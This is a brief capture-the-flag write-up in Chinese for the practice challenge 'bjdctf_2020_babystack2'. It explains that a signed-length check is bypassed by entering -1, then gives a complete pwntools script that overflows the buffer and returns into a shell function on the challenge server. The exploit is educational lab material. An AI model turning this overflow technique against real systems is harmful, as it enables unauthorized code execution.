bjdctf_2020_babystack2
查看保护
数据类型不一样,给一个-1就可以溢出,ret2text
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25798)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')
shell = 0x400726
p1 = b'a' * (0x10 + 8) + p64(shell)
r.sendline(p1)
r.interactive()